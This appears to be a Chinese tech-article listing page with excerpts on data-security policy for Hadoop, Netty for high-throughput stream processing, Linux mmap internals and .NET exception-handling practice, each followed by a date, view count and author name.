...素市场化配置改革亟需解决的关键问题之一便是如何构建统一的数据流通体系。报告建议,应加快制定和完善数据分级分类管理制度,鼓励采用先进的技术手段如区块链、联邦学习等,以提升数据流动的安全性和透明度。这表明,无论是在国际还是国内层面,围绕数据安全的技术创新与政策规范都呈现出同步加强的趋势。 值得注意的是,尽管Hadoop因其强大的分布式计算能力在全球范围内得到了广泛应用,但其在实际部署过程中仍面临诸多挑战,例如如何在满足业务需求的同时避免因权限配置不当而导致的数据泄露风险。对此,专家指出,企业应当加强对员工的数据安全意识培训,同时积极引入第三方审计机制,定期评估系统内的访问控制策略是否符合最新的行业标准。此外,随着量子计算等新兴技术的发展,未来的数据加密方案也需要重新审视,以应对潜在的安全威胁。 综上所述,无论是国际法规的变化还是国内政策的调整,都在推动数据安全领域发生深刻变革。对于那些希望借助Hadoop等工具实现高效数据迁移的企业而言,只有紧跟时代步伐,不断优化自身的数据管理体系,才能在未来竞争中立于不败之地。
2025-04-29 15:54:59
80
风轻云淡
Netty
...阻塞I/O模型,完美解决了这个问题。这就像是一个超级能干的服务员,能够在同一时间同时服务上万个客人,而且就算有个客人纠结半天点菜(也就是某个请求拖拉),也不会耽误其他客人的服务,更不会让整个餐厅都停下来等他。 举个栗子: java EventLoopGroup bossGroup = new NioEventLoopGroup(); // 主线程组 EventLoopGroup workerGroup = new NioEventLoopGroup(); // 工作线程组 try { ServerBootstrap b = new ServerBootstrap(); // 启动辅助类 b.group(bossGroup, workerGroup) .channel(NioServerSocketChannel.class) // 使用NIO通道 .childHandler(new ChannelInitializer() { // 子处理器 @Override protected void initChannel(SocketChannel ch) throws Exception { ch.pipeline().addLast(new StringDecoder()); // 解码器 ch.pipeline().addLast(new StringEncoder()); // 编码器 ch.pipeline().addLast(new SimpleChannelInboundHandler() { @Override protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception { System.out.println("Received message: " + msg); ctx.writeAndFlush("Echo: " + msg); // 回显消息 } }); } }); ChannelFuture f = b.bind(8080).sync(); // 绑定端口并同步等待完成 f.channel().closeFuture().sync(); // 等待服务关闭 } finally { workerGroup.shutdownGracefully(); bossGroup.shutdownGracefully(); } 这段代码展示了如何用Netty创建一个简单的TCP服务器。话说回来,Netty这家伙简直太贴心了,它的API设计得特别直观,想设置啥处理器或者监听事件都超简单,用起来完全没压力,感觉开发效率直接拉满! 2. 大数据流处理平台中的挑战 接下来,我们聊聊大数据流处理平台面临的挑战。在这个领域,我们通常会遇到以下几个问题: - 高吞吐量:我们需要处理每秒数百万条甚至更多的数据记录。 - 低延迟:对于某些实时应用场景(如股票交易),毫秒级的延迟都是不可接受的。 - 可靠性:数据不能丢失,必须保证至少一次投递。 - 扩展性:随着业务增长,系统需要能够无缝扩容。 这些问题听起来是不是很让人头大?但别担心,Netty正是为此而生的! 让我分享一个小故事吧。嘿,有次我正忙着弄个日志收集系统,结果一测试才发现,这传统的阻塞式I/O模型简直是“人形瓶颈”啊!流量一大就直接崩溃,完全hold不住那个高峰时刻,简直让人头大!于是,我开始研究Netty,并将其引入到项目中。哈哈,结果怎么样?系统的性能直接翻了三倍!这下我可真服了,选对工具真的太重要了,感觉像是找到了开挂的装备一样爽。 为了更好地理解这些挑战,我们可以看看下面这段代码,这是Netty中用来实现高性能读写的示例: java public class HighThroughputHandler extends ChannelInboundHandlerAdapter { private final ByteBuf buffer; public HighThroughputHandler() { buffer = Unpooled.buffer(1024); } @Override public void channelActive(ChannelHandlerContext ctx) throws Exception { for (int i = 0; i < 1024; i++) { buffer.writeByte((byte) i); } ctx.writeAndFlush(buffer.retain()); } @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { ctx.write(msg); } @Override public void channelReadComplete(ChannelHandlerContext ctx) throws Exception { ctx.flush(); } @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception { cause.printStackTrace(); ctx.close(); } } 在这段代码中,我们创建了一个自定义的处理器HighThroughputHandler,它能够在每次接收到数据后立即转发出去,从而实现高吞吐量的传输。 3. Netty如何优化大数据流处理平台? 现在,让我们进入正题——Netty是如何具体优化大数据流处理平台的呢? 3.1 异步非阻塞I/O Netty的核心优势在于其异步非阻塞I/O模型。这就相当于,当有请求进来的时候,Netty可不会给每个连接都专门安排一个“服务员”,而是让这些连接共用一个“服务团队”。这样既能节省人手,又能高效处理各种任务,多划算啊!这样做的好处是显著减少了内存占用和上下文切换开销。 假设你的大数据流处理平台每天要处理数十亿条数据记录,采用传统的阻塞式I/O模型,很可能早就崩溃了。而Netty则可以通过单线程处理数千个连接,极大地提高了资源利用率。 3.2 零拷贝技术 另一个让Netty脱颖而出的特点是零拷贝技术。嘿,咱们就拿快递打个比方吧!想象一下,你在家里等着收快递,但这个快递特别麻烦——它得先从仓库(相当于内核空间)送到快递员手里(用户空间),然后快递员再把东西送回到你家(又回到内核空间)。这就像是数据在网络通信里来回折腾了好几趟,一会儿在系统深处待着,一会儿又被搬出来给应用用,真是费劲啊!这种操作不仅耗时,还会消耗大量CPU资源。 Netty通过ZeroCopy机制,直接将数据从文件系统传递到网络套接字,避免了不必要的内存拷贝。这种做法不仅加快了数据传输速度,还降低了系统的整体负载。 这里有一个实际的例子: java FileRegion region = new DefaultFileRegion(fileChannel, 0, fileSize); ctx.write(region); 上述代码展示了如何利用Netty的零拷贝功能发送大文件,无需手动加载整个文件到内存中。 3.3 灵活的消息编解码 在大数据流处理平台中,数据格式多种多样,可能包括JSON、Protobuf、Avro等。Netty提供了一套强大的消息编解码框架,允许开发者根据需求自由定制解码逻辑。 例如,如果你的数据是以Protobuf格式传输的,可以这样做: java public class ProtobufDecoder extends MessageToMessageDecoder { @Override protected void decode(ChannelHandlerContext ctx, ByteBuf in, List out) throws Exception { byte[] data = new byte[in.readableBytes()]; in.readBytes(data); MyProtoMessage message = MyProtoMessage.parseFrom(data); out.add(message); } } 通过这种方式,我们可以轻松解析复杂的数据结构,同时保持代码的整洁性和可维护性。 3.4 容错与重试机制 最后但同样重要的是,Netty内置了强大的容错与重试机制。在网上聊天或者传输文件的时候,有时候会出现消息没发出去、对方迟迟收不到的情况,就像快递丢了或者送慢了。Netty这个小助手可机灵了,它会赶紧发现这些问题,然后试着帮咱们把没送到的消息重新发一遍,就像是给快递员多派一个人手,保证咱们的信息能安全顺利地到达目的地。 java RetryHandler retryHandler = new RetryHandler(maxRetries); ctx.pipeline().addFirst(retryHandler); 上面这段代码展示了如何添加一个重试处理器到Netty的管道中,让它在遇到错误时自动重试。 4. 总结与展望 经过这一番探讨,相信大家已经对Netty及其在大数据流处理平台中的应用有了更深入的理解。Netty可不只是个工具库啊,它更像是个靠谱的小伙伴,陪着咱们一起在高性能网络编程的大海里劈波斩浪、寻宝探险! 当然,Netty也有它的局限性。比如说啊,遇到那种超级复杂的业务场景,你可能就得绞尽脑汁写一堆专门定制的代码,不然根本搞不定。还有呢,这门技术的学习难度有点大,刚上手的小白很容易觉得晕头转向,不知道该怎么下手。但我相信,只要坚持实践,总有一天你会爱上它。 未来,随着5G、物联网等新技术的发展,大数据流处理的需求将会更加旺盛。而Netty凭借其卓越的性能和灵活性,必将在这一领域继续发光发热。所以,不妨大胆拥抱Netty吧,它会让你的开发之旅变得更加精彩! 好了,今天的分享就到这里啦!如果你有任何疑问或者想法,欢迎随时交流。记住,编程之路没有终点,只有不断前进的脚步。加油,朋友们!
2025-04-26 15:51:26
46
青山绿水
转载文章
...不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起 PROT_EXEC //页内容可以被执行 PROT_READ //页内容可以被读取 PROT_WRITE //页可以被写入 PROT_NONE //页不可访问 flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体 MAP_FIXED //使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。 MAP_SHARED //与其它所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。 MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。 MAP_DENYWRITE //这个标志被忽略。 MAP_EXECUTABLE //同上 MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。 MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。 MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。 MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。 MAP_ANON //MAP_ANONYMOUS的别称,不再被使用。 MAP_FILE //兼容标志,被忽略。 MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。 MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。 MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。 fd:有效的文件描述词。如果MAP_ANONYMOUS被设定,为了兼容问题,其值应为-1。 offset:被映射对象内容的起点。 3.munmap系统调用 include <sys/mman.h> int munmap( void addr, size_t len ) 该调用在进程地址空间中解除一个映射关系,addr是调用mmap()时返回的地址,len是映射区的大小。当映射关系解除后,对原来映射地址的访问将导致段错误发生。 4.msync系统调用 include <sys/mman.h> int msync ( void addr , size_t len, int flags) 一般说来,进程在映射空间的对共享内容的改变并不直接写回到磁盘文件中,往往在调用munmap()后才执行该操作。可以通过调用msync()实现磁盘上文件内容与共享内存区的内容一致。 二 系统调用mmap()用于共享内存的两种方式 (1)使用普通文件提供的内存映射:适用于任何进程之间;此时,需要打开或创建一个文件,然后再调用mmap();典型调用代码如下: [cpp] view plaincopy fd=open(name, flag, mode); if(fd<0) ... ptr=mmap(NULL, len , PROT_READ|PROT_WRITE, MAP_SHARED , fd , 0); 通过mmap()实现共享内存的通信方式有许多特点和要注意的地方 (2)使用特殊文件提供匿名内存映射:适用于具有亲缘关系的进程之间;由于父子进程特殊的亲缘关系,在父进程中先调用mmap(),然后调用fork()。那么在调用fork()之后,子进程继承父进程匿名映射后的地址空间,同样也继承mmap()返回的地址,这样,父子进程就可以通过映射区域进行通信了。注意,这里不是一般的继承关系。一般来说,子进程单独维护从父进程继承下来的一些变量。而mmap()返回的地址,却由父子进程共同维护。 对于具有亲缘关系的进程实现共享内存最好的方式应该是采用匿名内存映射的方式。此时,不必指定具体的文件,只要设置相应的标志即可. 三 mmap进行内存映射的原理 mmap系统调用的最终目的是将,设备或文件映射到用户进程的虚拟地址空间,实现用户进程对文件的直接读写,这个任务可以分为以下三步: 1.在用户虚拟地址空间中寻找空闲的满足要求的一段连续的虚拟地址空间,为映射做准备(由内核mmap系统调用完成) 每个进程拥有3G字节的用户虚存空间。但是,这并不意味着用户进程在这3G的范围内可以任意使用,因为虚存空间最终得映射到某个物理存储空间(内存或磁盘空间),才真正可以使用。 那么,内核怎样管理每个进程3G的虚存空间呢?概括地说,用户进程经过编译、链接后形成的映象文件有一个代码段和数据段(包括data段和bss段),其中代码段在下,数据段在上。数据段中包括了所有静态分配的数据空间,即全局变量和所有申明为static的局部变量,这些空间是进程所必需的基本要求,这些空间是在建立一个进程的运行映像时就分配好的。除此之外,堆栈使用的空间也属于基本要求,所以也是在建立进程时就分配好的,如图3.1所示: 图3.1 进程虚拟空间的划分 在内核中,这样每个区域用一个结构struct vm_area_struct 来表示.它描述的是一段连续的、具有相同访问属性的虚存空间,该虚存空间的大小为物理内存页面的整数倍。可以使用 cat /proc/<pid>/maps来查看一个进程的内存使用情况,pid是进程号.其中显示的每一行对应进程的一个vm_area_struct结构. 下面是struct vm_area_struct结构体的定义: [cpp] view plaincopy struct vm_area_struct { struct mm_struct vm_mm; / The address space we belong to. / unsigned long vm_start; / Our start address within vm_mm. / unsigned long vm_end; / The first byte after our end address within vm_mm. / / linked list of VM areas per task, sorted by address / struct vm_area_struct vm_next, vm_prev; pgprot_t vm_page_prot; / Access permissions of this VMA. / unsigned long vm_flags; / Flags, see mm.h. / struct rb_node vm_rb; / For areas with an address space and backing store, linkage into the address_space->i_mmap prio tree, or linkage to the list of like vmas hanging off its node, or linkage of vma in the address_space->i_mmap_nonlinear list. / union { struct { struct list_head list; void parent; / aligns with prio_tree_node parent / struct vm_area_struct head; } vm_set; struct raw_prio_tree_node prio_tree_node; } shared; / A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma list, after a COW of one of the file pages. A MAP_SHARED vma can only be in the i_mmap tree. An anonymous MAP_PRIVATE, stack or brk vma (with NULL file) can only be in an anon_vma list. / struct list_head anon_vma_chain; / Serialized by mmap_sem & page_table_lock / struct anon_vma anon_vma; / Serialized by page_table_lock / / Function pointers to deal with this struct. / const struct vm_operations_struct vm_ops; / Information about our backing store: / unsigned long vm_pgoff; / Offset (within vm_file) in PAGE_SIZE units, not PAGE_CACHE_SIZE / struct file vm_file; / File we map to (can be NULL). / void vm_private_data; / was vm_pte (shared mem) / unsigned long vm_truncate_count;/ truncate_count or restart_addr / ifndef CONFIG_MMU struct vm_region vm_region; / NOMMU mapping region / endif ifdef CONFIG_NUMA struct mempolicy vm_policy; / NUMA policy for the VMA / endif }; 通常,进程所使用到的虚存空间不连续,且各部分虚存空间的访问属性也可能不同。所以一个进程的虚存空间需要多个vm_area_struct结构来描述。在vm_area_struct结构的数目较少的时候,各个vm_area_struct按照升序排序,以单链表的形式组织数据(通过vm_next指针指向下一个vm_area_struct结构)。但是当vm_area_struct结构的数据较多的时候,仍然采用链表组织的化,势必会影响到它的搜索速度。针对这个问题,vm_area_struct还添加了vm_avl_hight(树高)、vm_avl_left(左子节点)、vm_avl_right(右子节点)三个成员来实现AVL树,以提高vm_area_struct的搜索速度。 假如该vm_area_struct描述的是一个文件映射的虚存空间,成员vm_file便指向被映射的文件的file结构,vm_pgoff是该虚存空间起始地址在vm_file文件里面的文件偏移,单位为物理页面。 图3.2 进程虚拟地址示意图 因此,mmap系统调用所完成的工作就是准备这样一段虚存空间,并建立vm_area_struct结构体,将其传给具体的设备驱动程序 2 建立虚拟地址空间和文件或设备的物理地址之间的映射(设备驱动完成) 建立文件映射的第二步就是建立虚拟地址和具体的物理地址之间的映射,这是通过修改进程页表来实现的.mmap方法是file_opeartions结构的成员: int (mmap)(struct file ,struct vm_area_struct ); linux有2个方法建立页表: (1) 使用remap_pfn_range一次建立所有页表. int remap_pfn_range(struct vm_area_struct vma, unsigned long virt_addr, unsigned long pfn, unsigned long size, pgprot_t prot); 返回值: 成功返回 0, 失败返回一个负的错误值 参数说明: vma 用户进程创建一个vma区域 virt_addr 重新映射应当开始的用户虚拟地址. 这个函数建立页表为这个虚拟地址范围从 virt_addr 到 virt_addr_size. pfn 页帧号, 对应虚拟地址应当被映射的物理地址. 这个页帧号简单地是物理地址右移 PAGE_SHIFT 位. 对大部分使用, VMA 结构的 vm_paoff 成员正好包含你需要的值. 这个函数影响物理地址从 (pfn<<PAGE_SHIFT) 到 (pfn<<PAGE_SHIFT)+size. size 正在被重新映射的区的大小, 以字节. prot 给新 VMA 要求的"protection". 驱动可(并且应当)使用在vma->vm_page_prot 中找到的值. (2) 使用nopage VMA方法每次建立一个页表项. struct page (nopage)(struct vm_area_struct vma, unsigned long address, int type); 返回值: 成功则返回一个有效映射页,失败返回NULL. 参数说明: address 代表从用户空间传过来的用户空间虚拟地址. 返回一个有效映射页. (3) 使用方面的限制: remap_pfn_range不能映射常规内存,只存取保留页和在物理内存顶之上的物理地址。因为保留页和在物理内存顶之上的物理地址内存管理系统的各个子模块管理不到。640 KB 和 1MB 是保留页可能映射,设备I/O内存也可以映射。如果想把kmalloc()申请的内存映射到用户空间,则可以通过mem_map_reserve()把相应的内存设置为保留后就可以。 (4) remap_pfn_range与nopage的区别 remap_pfn_range一次性建立页表,而nopage通过缺页中断找到内核虚拟地址,然后通过内核虚拟地址找到对应的物理页 remap_pfn_range函数只对保留页和物理内存之外的物理地址映射,而对常规RAM,remap_pfn_range函数不能映射,而nopage函数可以映射常规的RAM。 3 当实际访问新映射的页面时的操作(由缺页中断完成) (1) page cache及swap cache中页面的区分:一个被访问文件的物理页面都驻留在page cache或swap cache中,一个页面的所有信息由struct page来描述。struct page中有一个域为指针mapping ,它指向一个struct address_space类型结构。page cache或swap cache中的所有页面就是根据address_space结构以及一个偏移量来区分的。 (2) 文件与 address_space结构的对应:一个具体的文件在打开后,内核会在内存中为之建立一个struct inode结构,其中的i_mapping域指向一个address_space结构。这样,一个文件就对应一个address_space结构,一个 address_space与一个偏移量能够确定一个page cache 或swap cache中的一个页面。因此,当要寻址某个数据时,很容易根据给定的文件及数据在文件内的偏移量而找到相应的页面。 (3) 进程调用mmap()时,只是在进程空间内新增了一块相应大小的缓冲区,并设置了相应的访问标识,但并没有建立进程空间到物理页面的映射。因此,第一次访问该空间时,会引发一个缺页异常。 (4) 对于共享内存映射情况,缺页异常处理程序首先在swap cache中寻找目标页(符合address_space以及偏移量的物理页),如果找到,则直接返回地址;如果没有找到,则判断该页是否在交换区 (swap area),如果在,则执行一个换入操作;如果上述两种情况都不满足,处理程序将分配新的物理页面,并把它插入到page cache中。进程最终将更新进程页表。 注:对于映射普通文件情况(非共享映射),缺页异常处理程序首先会在page cache中根据address_space以及数据偏移量寻找相应的页面。如果没有找到,则说明文件数据还没有读入内存,处理程序会从磁盘读入相应的页面,并返回相应地址,同时,进程页表也会更新. (5) 所有进程在映射同一个共享内存区域时,情况都一样,在建立线性地址与物理地址之间的映射之后,不论进程各自的返回地址如何,实际访问的必然是同一个共享内存区域对应的物理页面。 四 总结 1.对于mmap的内存映射,是将物理内存映射到进程的虚拟地址空间中去,那么进程对文件的访问就相当于直接对内存的访问,从而加快了读写操作的效率。在这里,remap_pfn_range函数是一次性的建立页表,而nopage函数是根据page fault产生的进程虚拟地址去找到内核相对应的逻辑地址,再通过这个逻辑地址去找到page。完成映射过程。remap_pfn_range不能对常规内存映射,只能对保留的内存与物理内存之外的进行映射。 2.在这里,要分清几个地址,一个是物理地址,这个很简单,就是物理内存的实际地址。第二个是内核虚拟地址,即内核可以直接访问的地址,如kmalloc,vmalloc等内核函数返回的地址,kmalloc返回的地址也称为内核逻辑地址。内核虚拟地址与实际的物理地址只有一个偏移量。第三个是进程虚拟地址,这个地址处于用户空间。而对于mmap函数映射的是物理地址到进程虚拟地址,而不是把物理地址映射到内核虚拟地址。而ioremap函数是将物理地址映射为内核虚拟地址。 3.用户空间的进程调用mmap函数,首先进行必要的处理,生成vma结构体,然后调用remap_pfn_range函数建立页表。而用户空间的mmap函数返回的是映射到进程地址空间的首地址。所以mmap函数与remap_pfn_range函数是不同的,前者只是生成mmap,而建立页表通过remap_pfn_range函数来完成。 本篇文章为转载内容。原文链接:https://blog.csdn.net/wh8_2011/article/details/52373213。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-20 22:49:12
465
转载
转载文章
...一些常见异常的原因和解决方法 AccessViolationException 快速了解 .NET 的异常机制 Exception 类 我们大多数小伙伴可能更多的使用 Exception 的类型、Message 属性、StackTrace 以及内部异常来定位问题,但其实 Exception 类型还有更多的信息可以用于辅助定位问题。 Message 用来描述异常原因的详细信息 如果你捕捉到了异常,一般使用这段描述能知道发生的大致原因。 如果你准备抛出异常,在这个信息里面记录能帮助调试问题的详细文字信息。 StackTrace 包含用来确定错误位置的堆栈跟踪(当有调试信息如 PDB 时,这里就会包含源代码文件名和源代码行号) InnerException 包含内部异常信息 Source 这个属性包含导致错误的应用程序或对象的名称 Data 这是一个字典,可以存放基于键值的任意数据,帮助在异常信息中获得更多可以用于调试的数据 HelpLink 这是一个 url,这个 url 里可以提供大量用于说明此异常原因的信息 如果你自己写一个自定义异常类,那么你可以在自定义的异常类中记录更多的信息。然而大多数情况下我们都考虑使用 .NET 中自带的异常类,因此可以充分利用 Exception 类中的已有属性在特殊情况下报告更详细的利于调试的异常信息。 捕捉异常 捕捉异常的基本语法是: try{// 可能引发异常的代码。}catch (FileNotFoundException ex){// 处理一种类型的异常。}catch (IOException ex){// 处理另一种类的异常。} 除此之外,还有 when 关键字用于筛选异常: try{// 可能引发异常的代码。}catch (FileNotFoundException ex) when (Path.GetExtension(ex.FileName) is ".png"){// 处理一种类型的异常,并且此文件扩展名为 .png。}catch (FileNotFoundException ex){// 处理一种类型的异常。} 无论是否有带 when 关键字,都是前面的 catch 块匹配的时候执行匹配的 catch 块而无视后面可能也匹配的 catch 块。 如果 when 块中抛出异常,那么此异常将被忽略,when 中的表达式值视为 false。有个但是,请看:.NET Framework 的 bug?try-catch-when 中如果 when 语句抛出异常,程序将彻底崩溃 - walterlv。 引发异常 引发异常使用 throw 关键字。只是注意如果要重新抛出异常,请使用 throw; 语句或者将原有异常作为内部异常。 创建自定义异常 如果你只是随便在业务上创建一个异常,那么写一个类继承自 Exception 即可: public class MyCustomException : Exception{public string MyCustomProperty { get; }public MyCustomException(string customProperty) => MyCustomProperty = customProperty;} 不过,如果你需要写一些比较通用抽象的异常(用于被继承),或者在底层组件代码中写自定义异常,那么就建议考虑写全异常的所有构造函数,并且加上可序列化: [Serializable]public class InvalidDepartmentException : Exception{public InvalidDepartmentException() : base() { }public InvalidDepartmentException(string message) : base(message) { }public InvalidDepartmentException(string message, Exception innerException) : base(message, innerException) { }// 如果异常需要跨应用程序域、跨进程或者跨计算机抛出,就需要能被序列化。protected InvalidDepartmentException(SerializationInfo info, StreamingContext context) : base(info, context) { } } 在创建自定义异常的时候,建议: 名称以 Exception 结尾 Message 属性的值是一个句子,用于描述异常发生的原因。 提供帮助诊断错误的属性。 尽量写全四个构造函数,前三个方便使用,最后一个用于序列化异常(新的异常类应可序列化)。 finally 异常堆栈跟踪 堆栈跟踪从引发异常的语句开始,到捕获异常的 catch 语句结束。 利用这一点,你可以迅速找到引发异常的那个方法,也能找到是哪个方法中的 catch 捕捉到的这个异常。 异常处理原则 try-catch-finally 我们第一个要了解的异常处理原则是——明确 try catch finally 的用途! try 块中,编写可能会发生异常的代码。 最好的情况是,你只将可能会发生异常的代码放到 try 块中,当然实际应用的时候可能会需要额外放入一些相关代码。但是如果你将多个可能发生异常的代码放到一个 try 块中,那么将来定位问题的时候你就会很抓狂(尤其是多个异常还是一个类别的时候)。 catch 块的作用是用来 “恢复错误” 的,是用来 “恢复错误” 的,是用来 “恢复错误” 的。 如果你在 try 块中先更改了类的状态,随后出了异常,那么最好能将状态改回来——这可以避免这个类型或者应用程序的其他状态出现不一致——这很容易造成应用程序“雪崩”。举一个例子:我们写一个程序有简洁模式和专业模式,在从简洁模式切换到专业模式的时候,我们设置 IsProfessionalMode 为 true,但随后出现了异常导致没有成功切换为专业模式;然而接下来所有的代码在执行时都判断 IsProfessionalMode 为 true 状态不正确,于是执行了一些非预期的操作,甚至可能用到了很多专业模式中才会初始化的类型实例(然而没有完成初始化),产生大量的额外异常;我们说程序雪崩了,多数功能再也无法正常使用了。 当然如果任务已全部完成,仅仅在对外通知的时候出现了异常,那么这个时候不需要恢复状态,因为实际上已经完成了任务。 你可能会有些担心如果我没有任何手段可以恢复错误怎么办?那这个时候就不要处理异常!——如果不知道如何恢复错误,请不要处理异常!让异常交给更上一层的模块处理,或者交给整个应用程序全局异常处理模块进行统一处理(这个后面会讲到)。 另外,异常不能用于在正常执行过程中更改程序的流程。异常只能用于报告和处理错误条件。 finally 块的作用是清理资源。 虽然 .NET 的垃圾回收机制可以在回收类型实例的时候帮助我们回收托管资源(例如 FileStream 类打开的文件),但那个时机不可控。因此我们需要在 finally 块中确保资源可被回收,这样当重新使用这个文件的时候能够立刻使用而不会被占用。 一段异常处理代码中可能没有 catch 块而有 finally 块,这个时候的重点是清理资源,通常也不知道如何正确处理这个错误。 一段异常处理代码中也可能 try 块留空,而只在 finally 里面写代码,这是为了“线程终止”安全考虑。在 .NET Core 中由于不支持线程终止因此可以不用这么写。详情可以参考:.NET/C 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions) - walterlv。 该不该引发异常? 什么情况下该引发异常?答案是——这真的是一个异常情况! 于是,我们可能需要知道什么是“异常情况”。 一个可以参考的判断方法是——判断这件事发生的频率: 如果这件事并不常见,当它发生时确实代表发生了一个错误,那么这件事情就可以认为是异常。 如果这件事经常发生,代码中正常情况就应该处理这件事情,那么这件事情就不应该被认为是异常(而是正常流程的一部分)。 例如这些情况都应该认为是异常: 方法中某个参数不应该传入 null 时但传入了 null 这是开发者使用这个方法时没有遵循此方法的契约导致的,让开发者改变调用此方法的代码就可以完全避免这件事情发生 而下面这些情况则不应该认为是异常: 用户输入了一串字符,你需要将这串字符转换为数字 用户输入的内容本身就千奇百怪,出现非数字的输入再正常不过了,对非数字的处理本就应该成为正常流程的一部分 对于这些不应该认为是异常的情况,编写的代码就应该尽可能避免异常。 有两种方法来避免异常: 先判断再使用。 例如读取文件之前,先判断文件是否存在;例如读取文件流时先判断是否已到达文件末尾。 如果提前判断的成本过高,可采用 TryDo 模式来完成,例如字符串转数字中的 TryParse 方法,字典中的 TryGetValue 方法。 对极为常见的错误案例返回 null(或默认值),而不是引发异常。极其常见的错误案例可被视为常规控制流。通过在这些情况下返回 NULL(或默认值),可最大程度地减小对应用的性能产生的影响。(后面会专门说 null) 而当存在下列一种或多种情况时,应引发异常: 方法无法完成其定义的功能。 根据对象的状态,对某个对象进行不适当的调用。 请勿有意从自己的源代码中引发 System.Exception、System.SystemException、System.NullReferenceException 或 System.IndexOutOfRangeException。 该不该捕获异常? 在前面 try-catch-finally 小节中,我们提到了 catch 块中应该写哪些代码,那里其实已经说明了哪些情况下应该处理异常,哪些情况下不应该处理异常。一句总结性的话是——如果知道如何从错误中恢复,那么就捕获并处理异常,否则交给更上层的业务去捕获异常;如果所有层都不知道如何处理异常,就交给全局异常处理模块进行处理。 应用程序全局处理异常 对于 .NET 程序,无论是 .NET Framework 还是 .NET Core,都有下面这三个可以全局处理的异常。这三个都是事件,可以自行监听。 AppDomain.UnhandledException 应用程序域未处理的异常,任何线程中未处理掉的异常都会进入此事件中 当这里能够收到事件,意味着应用程序现在频临崩溃的边缘(从设计上讲,都到这里了,也再没有任何代码能够使得程序从错误中恢复了) 不过也可以配置 legacyUnhandledExceptionPolicy 防止后台线程抛出的异常让程序崩溃退出 建议在这个事件中记录崩溃日志,然后对应用程序进行最后的拯救恢复操作(例如保存用户的文档数据) AppDomain.FirstChanceException 应用程序域中的第一次机会异常 我们前面说过,一个异常被捕获时,其堆栈信息将包含从 throw 块到 catch 块之间的所有帧,而在第一次机会异常事件中,只是刚刚 throw 出来,还没有被任何 catch 块捕捉,因此在这个事件中堆栈信息永远只会包含一帧(不过可以稍微变通一下在第一次机会异常 FirstChanceException 中获取比较完整的异常堆栈) 注意第一次机会异常事件即便异常会被 catch 也会引发,因为它引发在 catch 之前 不要认为异常已经被 catch 就万事大吉可以无视这个事件了。前面我们说过异常仅在真的是异常的情况才应该引发,因此如果这个事件中引发了异常,通常也真的意味着发生了错误(差别只是我们能否从错误中恢复而已)。如果你经常在正常的操作中发现可以通过此事件监听到第一次机会异常,那么一定是应用程序或框架中的异常设计出了问题(可能把正常应该处理的流程当作了异常,可能内部实现代码错误,可能出现了使用错误),这种情况一定是要改代码修 Bug 的。而一些被认为是异常的情况下收到此事件则是正常的。 TaskScheduler.UnobservedTaskException 在使用 async / await 关键字编写异步代码的时候,如果一直有 await 传递,那么异常始终可以被处理到;但中间有异步任务没有 await 导致异常没有被传递的时候,就会引发此事件。 如果在此事件中监听到异常,通常意味着代码中出现了不正确的 async / await 的使用(要么应该修改实现避免异常,要么应该正确处理异常并从中恢复错误) 对于 GUI 应用程序,还可以监听 UI 线程上专属的全局异常: WPF:Application.DispatcherUnhandledException 或者 Dispatcher.UnhandledException Windows Forms:Application.ThreadException 关于这些全局异常的处理方式和示例代码,可以参阅博客: WPF UnhandledException - Iron 的博客 - CSDN博客 抛出哪些异常? 任何情况下都不应该抛出这些异常: 过于抽象,以至于无法表明其含义 Exception 这可是顶级基类,这都抛出来了,使用者再也无法正确地处理此异常了 SystemException 这是各种异常的基类,本身并没有明确的意义 ApplicationException 这是各种异常的基类,本身并没有明确的意义 由 CLR 引发的异常 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 .NET 设计失误 FormatException 因为当它抛出来时无法准确描述到底什么错了 首先是你自己不应该抛出这样的异常。其次,你如果在运行中捕获到了上面这些异常,那么代码一定是写得有问题。 如果是捕获到了上面 CLR 的异常,那么有两种可能: 你的代码编写错误(例如本该判空的代码没有判空,又如索引数组超出界限) 你使用到的别人写的代码编写错误(那你就需要找到它改正,或者如果开源就去开源社区中修复吧) 而一旦捕获到了上面其他种类的异常,那就找到抛这个异常的人,然后对它一帧狂扁即可。 其他的异常则是可以抛出的,只要你可以准确地表明错误原因。 另外,尽量不要考虑抛出聚合异常 AggregateException,而是优先使用 ExceptionDispatchInfo 